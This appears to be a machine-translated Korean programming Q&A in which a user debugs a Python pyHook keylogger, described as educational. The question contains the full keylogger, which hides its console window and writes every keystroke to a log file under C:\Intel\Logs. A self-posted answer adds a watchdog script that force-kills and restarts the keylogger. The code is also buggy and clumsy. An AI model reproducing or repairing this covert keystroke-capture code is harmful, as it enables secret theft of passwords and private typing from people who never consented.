2017-02-27 14 views
0

그래서 Pyhook을 처음 접했고 교육적인 목적으로 나 자신을 키로거로 만들고 싶었다. 그러나 로그는 이상한 인풋을 제공합니다. 그것은 단지 무작위 적 기호이거나 항상 자본이거나 모든 선과 정상입니다.Pyhook이 어떤 이유로 나를 괴괴 망측하게 만든다.

저는 파이썬 3.4를 사용하고 있으며 저는 Windows에 있습니다.

내 코드입니다 :

import pyHook 
import pythoncom 
import win32gui 
import win32console 
import os 
import sys 
import time 
import getpass 



file = open("C:\\Intel\\Logs\\log.txt", "w") 
file.write("") #clears the log 
file.close() 

log_file = "C:\\Intel\\Logs\\log.txt"     #name of log file 
window = win32console.GetConsoleWindow() #go to script window 
win32gui.ShowWindow(window,0)    #hide window 





def pressed_chars(event):   #on key pressed function 
    if event.Ascii: 
     f = open(log_file, "a") 
     if event.Ascii == 97:  # (if char is "return") 
      f.write("a") # (open log_file in append mode) 
     char = chr(event.Ascii) # (insert real char in variable)    
     if event.Ascii == 13:  # (if char is "return") 
      f.write("\n")   # (new line) 
     elif event.Ascii == 8:  #(if char is "backspace") 
      f.write("[BACKSPACE]") #(print "[backspace]") 
     f.write(char) 
     print(char)# (write char) 



proc = pyHook.HookManager()  #open pyHook 
proc.KeyDown = pressed_chars  #set pressed_chars function on KeyDown event 
proc.HookKeyboard()    #start the function 
pythoncom.PumpMessages()   #get input 

코드는 대부분 인터넷에서 가져하지만 약간 수정합니다.

이제 질문은 다음과 같습니다. 어떻게하면 정상 출력을 유지할 수 있습니까?

명확히해야 할 것이 있으면 알려주십시오.

+0

이상한 입력, 이상한 출력 및 일반적인 출력은 무엇을 의미합니까? – BornToCode

+0

정상 출력 : 실제로 i 타입을 출력 할 때. 이상한 표현 : 나는 심지어 사용할 수없는 것처럼 보이므로 그림이 여기에있다. https://gyazo.com/db2f067f55cabf97c179e2a8e0db0a37 – Lojas

답변

0

나는 그럭저럭 일하게 할 수 있었다. 방금이 스크립트가 backround에서 실행되었으므로 매번 이러한 이상한 입력을 주면 실제 편지가 나올 때까지 다시 시작됩니다.

import os 
import time 

count = True 
while count == True: 
    time.sleep(40) 
    if "a" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "b" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "c" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "d" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "e" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "f" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "g" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "h" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "i" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "j" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "k" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "l" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "m" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "n" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "o" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "p" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "q" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "r" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "s" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "t" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "u" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "v" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "w" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "x" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "y" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "z" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "A" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "B" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "C" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "D" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "E" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "F" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "G" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "H" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "I" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "J" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "K" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "L" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "M" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "N" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "O" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "P" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "Q" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "R" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "S" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "T" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "U" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "V" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "W" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "X" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if "Y" in open("C:\\Intel\\Logs\\log.txt").read(): 
     quit() 
    if not "Z" in open("C:\\Intel\\Logs\\log.txt").read(): 
     print("hi") 
     os.popen("taskkill/F /IM thekeylogger") 
     time.sleep(1) 
     os.popen("start thekeylogger.") 
     continue 

누구에게 더 좋은 해결책이 있는지 알려주세요.